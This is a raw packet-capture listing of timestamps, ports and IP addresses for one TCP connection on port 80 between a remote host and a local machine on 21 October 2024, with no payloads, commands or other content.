Oct 21, 2024 10:47:39.850301027 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.850332975 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.850364923 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.850402117 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.850450993 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.850482941 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.850517988 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.850548983 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.850580931 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.850611925 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.850642920 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.850675106 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.850707054 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.850739002 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.850770950 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.850802898 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.850836039 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.850868940 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.850900888 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.850931883 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.850964069 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.850996971 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.851028919 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.851063967 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.851095915 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.851128101 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.851160049 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.851192951 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.851223946 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.851257086 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.851288080 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.851320982 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.851367950 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.851435900 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.851468086 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.851500034 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.851548910 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.851581097 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.851614952 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.851660967 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.851696968 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.851747036 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.851779938 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.851811886 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.851845980 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.851895094 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.851927042 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.851958990 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.851989985 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.852022886 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.852052927 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.852085114 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.852117062 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.852149963 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.852180958 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.852212906 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.852247953 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.852278948 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.852310896 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.852341890 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.852375031 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.852406979 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.852437973 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.852471113 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.852503061 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.852555037 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.852586985 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.852618933 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.852650881 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.852686882 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.852735043 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.852771044 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.852802038 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.852834940 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.852869034 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.852902889 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.852933884 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.852984905 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.853017092 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.853049040 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.853081942 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.853115082 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.853164911 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.853197098 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.853229046 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.853261948 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.853292942 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.853329897 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.853362083 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.853394985 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.853425980 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.853458881 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.853492022 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.853524923 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.853555918 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.853590012 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.853622913 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.853655100 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.853686094 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.853718042 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.853749990 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.853785038 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.853818893 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.853852034 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.853883028 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.853914976 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.853946924 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.853998899 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.854031086 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.854063034 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.854095936 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.854129076 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.854159117 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.854207993 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.854240894 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.854271889 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.854305983 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.854336977 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.854373932 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.854406118 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.854438066 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.854470015 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.854501963 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.854533911 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.854564905 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.854598045 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.854630947 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.854661942 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.854696035 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.867357969 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.870754957 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.870807886 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.870836020 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.870882988 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.870987892 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.871009111 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.871036053 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.871084929 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.871123075 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.871123075 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.871123075 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.871144056 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.871160030 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.871181965 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.871201992 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.871243000 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.871263981 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.871285915 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.871309042 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.872311115 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.872323036 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.872343063 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.872355938 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.872365952 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.872376919 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.872386932 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.872396946 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.872406006 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.872416973 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.875993967 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.876102924 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.876112938 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.876125097 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.876141071 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.876151085 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.876161098 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.876169920 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.876179934 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.876192093 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.876312971 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.876331091 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.876343012 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.876353025 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.876363039 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.876373053 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.876384020 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.876394033 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.876399994 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.876408100 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.876420021 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.879527092 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.879791021 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.879791021 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.879791021 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.933706999 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.938560009 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.938571930 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.938581944 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.938687086 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.938695908 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.938704967 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.938715935 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.938725948 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.938735008 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.938745022 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.938755989 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.938766003 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.938839912 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.938857079 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.938868046 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.938877106 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.938888073 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.938896894 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.938906908 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.938916922 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.938925982 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.938937902 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.939030886 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.939085960 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.939095974 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.939119101 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.939129114 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.939138889 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.939280033 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.939290047 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.939299107 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.939308882 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.939327002 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.939337015 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.939347982 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.939357996 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.939368010 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.939377069 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.939399004 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.939412117 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.939424038 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.939435005 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.939446926 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.939457893 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.939466953 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.940037966 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.940048933 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.940058947 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.940078974 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.940090895 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.940099955 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.940110922 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.940120935 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.940130949 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.940145016 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.940251112 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.940263033 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.940274000 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.940284967 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.940295935 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.940305948 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.940316916 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.940332890 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.940342903 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.940352917 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.940363884 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.940375090 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.940385103 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.940926075 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.940943956 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.940956116 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.940965891 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.940975904 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.940987110 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.941149950 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.941191912 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.941203117 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.941358089 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.941369057 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.941379070 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.941390038 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.941401005 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.941411018 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.941421986 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.941431046 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.941442013 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.941459894 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.941471100 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.941482067 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.941493034 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.941504955 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.941517115 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.941526890 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.941536903 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.941549063 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.941560030 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.941574097 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.942234993 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.942245007 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.942255974 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.942267895 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.942286015 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.942296028 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.942308903 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.942318916 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.942334890 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.942344904 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.942353964 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.942363977 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.942382097 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.942393064 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.942404032 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.942414045 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.942425966 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.942435980 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.942445993 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.942456007 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.942466021 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.942476034 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.942487001 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.943025112 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.943077087 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.943089008 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.943147898 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.943157911 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.943169117 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.943267107 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.943278074 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.943289042 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.946264029 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.946264029 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.946264029 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.946285963 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.946325064 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.946362019 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.946387053 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.946413994 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.946434021 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.946468115 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.946501017 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.946535110 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.946566105 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.946576118 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.013660908 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.013673067 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.013685942 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.013700962 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.013710022 CEST	80	50056	185.215.113.16	192.168.2.4
